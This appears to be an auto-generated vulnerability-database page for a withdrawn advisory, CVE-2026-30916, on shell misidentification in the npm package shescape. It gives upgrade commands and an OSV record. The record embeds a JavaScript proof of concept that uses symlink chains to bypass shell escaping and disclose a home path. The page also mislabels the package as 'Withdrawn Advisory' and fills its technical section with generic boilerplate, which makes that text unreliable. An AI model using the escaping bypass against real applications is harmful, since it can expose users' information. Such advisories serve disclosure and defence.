CVE-2026-30916: Withdrawn Advisory Shescape Has Possible Misidentification Of Vulnerability
LOWCVE-2026-30916 is a LOW shescape has possible misidentification of vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Withdrawn Advisory libraries in the npm ecosystem. The issue involves shescape has possible misidentification of shell due to link chains. Remediation is available by upgrading affected packages to version 2.1.9.
CVE-2026-30916 at a Glance
How to Fix CVE-2026-30916
To remediate this vulnerability, upgrade all affected Withdrawn Advisory dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install shescape@2.1.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls shescape
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-30916, inspect your project dependencies using npm:
npm ls shescape
Analyze the terminal output to locate any version of Withdrawn Advisory in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.9), your application is affected.
Note: The npm ls shescape command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Withdrawn Advisory, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-30916 Affected Withdrawn Advisory Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
shescape
|
npm |
< 2.1.9
|
2.1.9
|
References
Frequently Asked Questions
What is CVE-2026-30916?
Which Withdrawn Advisory versions are affected?
What version fixes CVE-2026-30916?
Is shescape affected?
What CWE is associated with CVE-2026-30916?
How can I check npm dependencies for CVE-2026-30916?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6f6w-6j58-rq76",
"modified" : "2026-03-20T19:53:41Z",
"published" : "2026-03-07T02:31:58Z",
"withdrawn" : "2026-03-20T19:53:41Z",
"aliases" : [ "CVE-2026-30916" ],
"summary" : "Withdrawn Advisory: Shescape has possible misidentification of shell due to link chains",
"details" : "## Withdrawn Advisory\n\nThis advisory has been withdrawn because it falls outside the https://github.com/ericcornelissen/shescape/blob/a2544a1c78cae19d0e81a485b997bf0b0fcc2c12/SECURITY.md#threat-model. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nThis impacts users of Shescape that configure their `shell` to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.\n\nIn particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):\n\n```javascript\nimport fs from \"node:fs\";\nimport { exec } from \"node:child_process\";\n\nimport { Shescape } from \"shescape\";\nimport which from \"which\";\n\n/* 1. Set up */\nconst shell = which.sync(\"bash\");\nconst linkToShell = \"./csh\";\nconst linkToLink = \"./link\";\n\nfs.rmSync(linkToLink, { force: true });\nfs.rmSync(linkToShell, { force: true });\nfs.symlinkSync(shell, linkToShell);\nfs.symlinkSync(linkToShell, linkToLink);\n\n/* 2. Misconfiguration */\nconst execOptions = {\n shell: linkToLink,\n};\n\nconst shescape = new Shescape({\n shell: execOptions.shell,\n});\n\n/* 3. Payload */\nconst userInput = \"a=:~\";\n\n/* 4. Attack example */\nexec(\n `echo Hello ${shescape.escape(userInput)}`,\n { shell: execOptions.shell },\n (error, stdout) => {\n fs.rmSync(linkToLink);\n fs.rmSync(linkToShell);\n\n if (error) {\n console.error(`An error occurred: ${error}`);\n } else {\n console.log(stdout);\n // Output: \"Hello a=:/home/user\"\n }\n },\n);\n```\n\n### Patches\n\nThis problem has been patched in [v2.1.9](https://www.npmjs.com/package/shescape/v/2.1.9) which you can upgrade to now.\n\n### Workarounds\n\nIf upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.\n\n### References\n\n- Shescape Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Shescape Release [v2.1.9](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9)\n\n### For more information\n\n- Comment on Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "shescape"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.1.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6f6w-6j58-rq76"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30916"
}, {
"type" : "WEB",
"url" : "https://github.com/ericcornelissen/shescape/pull/2388"
}, {
"type" : "WEB",
"url" : "https://github.com/github/advisory-database/pull/7206"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ericcornelissen/shescape"
}, {
"type" : "WEB",
"url" : "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9"
}, {
"type" : "WEB",
"url" : "https://www.npmjs.com/package/shescape/v/2.1.9"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-07T02:31:58Z",
"nvd_published_at" : "2026-03-10T17:40:15Z"
}
}